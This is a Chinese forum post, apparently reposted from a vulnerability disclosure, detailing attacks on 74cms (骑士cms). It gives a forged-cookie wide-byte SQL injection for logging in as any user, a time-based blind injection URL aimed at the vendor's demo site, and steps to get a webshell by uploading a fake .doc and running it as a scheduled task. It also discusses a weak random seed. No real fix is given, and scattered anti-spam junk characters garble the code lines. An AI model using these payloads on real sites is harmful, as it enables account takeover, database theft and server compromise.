找回密码
 加入怎通
查看: 487|回复: 2

[SEM行业] 骑士cms注入及后台拿shell

[复制链接]
寻路者 发表于 2013-01-07 16:50:49 | 显示全部楼层 |阅读模式
0x1 任意用户登录2 @0 E8 W1 j; Z1 J
/ ~$ ^# p1 L  @
  0x2 盲注
6 g3 @  m* z) E& }9 V
0 Z# R: y* A7 U1 c% Z1 E  0x3 后台拿shell! n. i+ A9 C7 u( k( W0 v3 n

2 x; h* Q8 w, _+ p  z  0x4 随机函数问题* h) Q% f( m$ n( M' u+ X
% y6 V0 |" I9 f5 a( s4 S8 {. ~% a$ }
  详细说明:
& L: q& a: R& S4 Z) t( J1 k6 `
* Z5 g0 c) S2 t( k# F! Z  0x1 任意用户登录! y5 U5 r  d; n1 J% k

0 K8 g5 _9 S6 @* J4 j& L  user/login.php8 V2 |" A! A! ^- T
* I# C- y& ~3 _
  elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
# W  b8 O% \0 g6 _$ c/ o0 l( |4 w" {) p. Q
  {4 j# l) c3 V. N: \

; q$ i' r0 R8 w$ ~+ A1 u  if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))/ Z, U# D8 ?  u, b( r
1 Q- n8 Q/ e# E1 p" J4 H7 n' G
  {% |  c- P, c: X: q8 B) j- v2 V

) c  O& i- z. D4 Z3 W  update_user_info($_COOKIE['QS']['uid'],false,false);
' d/ m; e5 {8 d" d. ^
% c  p- n3 c+ [3 Z. B" _  header("Location:".get_member_url($_SESSION['utype']));
7 m1 e) b5 u$ w6 h
$ i- D9 Q) V: l( R( }. w, m' x  }5 ]0 D+ g3 B2 ]9 J- i# I& V
4 V# V! E3 \. Q) z6 G) _' L
  else
  G; [; `) v/ R8 I- j# H2 z
3 x9 f2 T# {" [+ e3 f  {5 j; Q! Z. I' q$ D3 t
7 S! E- i. p. J  g
  unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
/ f6 M+ `5 L# c$ ]4 C; H. u6 l
  f% F1 \4 Y/ d$ }  _  setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);/ g% V0 S9 C/ v: d4 O

% t+ ]8 U, v5 E; O- j4 f: W7 J  setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);" y  [+ G* y$ e( Z
- P: v5 A3 W& h% c
  setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);: ~/ k- s! r' o% W
) J, @5 F, |, e5 D
  setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
: R, B2 i$ z0 M& P1 U
5 C( O7 m- M) X  t2 F' G  header("Location:".url_rewrite('QS_login'));
! t, T8 s# {* m* Z0 I: F# [
. f% d2 E+ k! J, u/ i- V% m  }' U& J; S  b+ P8 }

6 e; E3 G, }. q: n  t  }
3 X6 s/ U/ K5 d  S3 V2 {% b. N0 Z0 ~
  include/fun_user.php
" l+ T% Q& W0 D" \: Q; P7 r8 n
3 M! F6 s2 O% c# {5 ~/ A3 h; v$ x( g1 g  //检测COOKIE
0 M8 h) y: X, z- v
1 m* R. K1 b! [: i% v- q( ^  function check_cookie($name,$pwd){
+ H4 W! H# o* h* p3 G# f# ?) W, ?/ g( x* F) [& R. I
  global $db;' q2 d7 F/ B3 R1 j7 T% s
( M$ l* W4 a; a$ z$ J9 G; ?; q
  $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
3 i3 O8 B# V" D8 V3 u. g
! g/ ?  O4 X( K* i9 e  if($row['num'] > 0)
" o- J( N, W9 |, h% u" J
* ]0 a" U& ?3 w  {" V. [& {( M0 i  p7 X  Q% r

' _* l' W4 G# E7 ^& |  return true;
: ~; ^4 h7 _5 f0 o. m( Y9 t& S7 R- J% ~  z8 E) d% T( r9 V
  }else{
6 y" x, Q: j" k7 ~) H* Z2 M3 A: m! f; I% n
  return false;+ j) x% @2 H# g2 |& j! h+ F8 e
- R! A0 R/ M# o0 i# q. j% N6 k
  }
. @1 z1 A0 M9 O0 {% b2 y8 [: S& H) B5 T5 x0 k
  }0 W  `6 r. [" Y( @  S1 Q( D  a

6 s) \, X' b  u. s$ y/ x  构造cookie如下
2 [; H, |7 o5 H" i
6 s- G4 w# k& F0 c' X- ~/ f  QS[uid] 29 A+ I6 p) y- n/ ?: H$ \7 V

7 q) ?2 u8 }4 g1 A  QS[utype] 16 E7 S+ i/ E8 X
) M" B* z% A$ E8 Q0 A
  QS[password] 1111111111111111111119 W3 h7 _5 k' s7 W$ h* p1 Q7 {. b! z
% X/ m3 Y" J/ K9 n
  QS[username]%bf%27 or 1=1 %23  C, O; Y$ V. s/ m  r" U
8 i) W: J. `& R7 K) ~" [
  uid 为假冒用户的ID utype为用户类型password任意* _1 q+ L0 s+ ^, G2 V& L
1 A2 Y0 k; w- ^3 N/ J9 n5 N
  0x2 盲注
) F) |! n( V: L3 H4 q3 w! s* e! `" U
  http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%236 h/ n% `6 |! w7 a1 G5 Z9 x

1 F) N6 t" K$ v- d) i4 ^  上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面/ h) G0 w  L' p. T* d

) \9 a- a4 v- d; W; g2 w" s2 y  0x3 后台拿shell5 l4 E  f/ v" ?; \. h

/ i4 l! r3 \, C+ R' a  P  1.先关闭csrf防御功能0 ^7 i+ L! I0 V% p. j3 `

0 d, z5 b! c8 V6 t* L, O) h  I  2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc
# a2 P! Y% z8 D2 X8 H* j/ q" g' W+ {2 r
  3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc& `! d- o- E9 I8 e
' g7 p- Y8 }9 y, h
  4.然后执行
% _7 g6 w! W' `" D; `+ O9 [8 s" i1 i! ^9 i, Y0 w4 a8 X" e# P
  0x4 随机函数问题(几乎可以无视,纯属个人YY)3 j7 X( ~0 d$ n% R
' i: ~% m8 i6 q/ N7 F/ {
  在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。
6 \0 k! P: `# p) U( ^* D+ Q
6 X& X5 }( g# y. H5 M1 ]; {, M  这个$QS_pwdhash是由randstr生成( G( z) v) v: d+ |. P  l1 O$ [
3 q- ?2 h# B3 C: k
  function randstr($length=6)' O4 _! U% ]$ S( ?/ l. v: [
% e& j& G* W# E+ i  N& Q9 ]9 O# w- x
  {, c4 k! `+ P7 Z* E+ k

7 Q) ]. G) S0 i  $hash='';7 ?) C) |2 {  h- `; F" b' Q
5 I! t+ A$ l5 c
  $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';% j! [8 k1 t0 U" t* y

* p6 f* `1 r7 M! t# ^1 U  $max=strlen($chars)-1;; D8 y6 M2 N3 `" F

# A* C: M# p+ I0 }0 u) a5 l: K4 a, H  mt_srand((double)microtime()*1000000);7 ]( e+ t, {9 O4 T) ]9 v

, h. i3 n/ T( U* Y  for($i=0;$i<$length;$i++) {
5 p: V3 c& g* g8 n5 Y" K: a4 |. H! O8 W( x3 t$ R: B
  $hash.=$chars[mt_rand(0,$max)];
# ~4 {0 R  g0 _5 x' M7 ~
* ~( n4 I  e! M( d3 K$ _" g  }1 e: g0 }) b+ m. w& K# @7 C, y, U% G
* d( {8 k* J, T- ~8 ~- c" ]
  return $hash;
: {" k- e+ `; p8 T4 l5 _7 s  q, \. y- j( s2 J
  }; P) |9 ]2 t" B

% l, P# U' z& u# I/ G+ ]! y  生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)
) y: \" L1 L, R$ ^# T1 Q3 R$ C& k7 F
  漏洞证明:# e3 m* \2 v" w& T4 ~

1 L- Z# F, j- m$ K2 E; E* o( i4 m3 i/ x  修复方案:
  n$ D# Y2 }- s* y' ]+ a" y7 l9 K0 J  A6 f
  do it yourself~# C: v' {9 m, U" o

9 @- K1 f# [  N0 l) b1 A& q解决一切网站安全,湖盟云防火墙:hnhack.com
回复

使用道具 举报

leonseo444 发表于 2026-01-07 03:59:27 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复 支持 反对

使用道具 举报

彼岸花 发表于 2026-03-13 13:46:09 | 显示全部楼层
刚好遇到类似问题,看完这个帖子心里有底了
回复 支持 反对

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-5-11 02:24 , Processed in 0.043633 second(s), 24 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表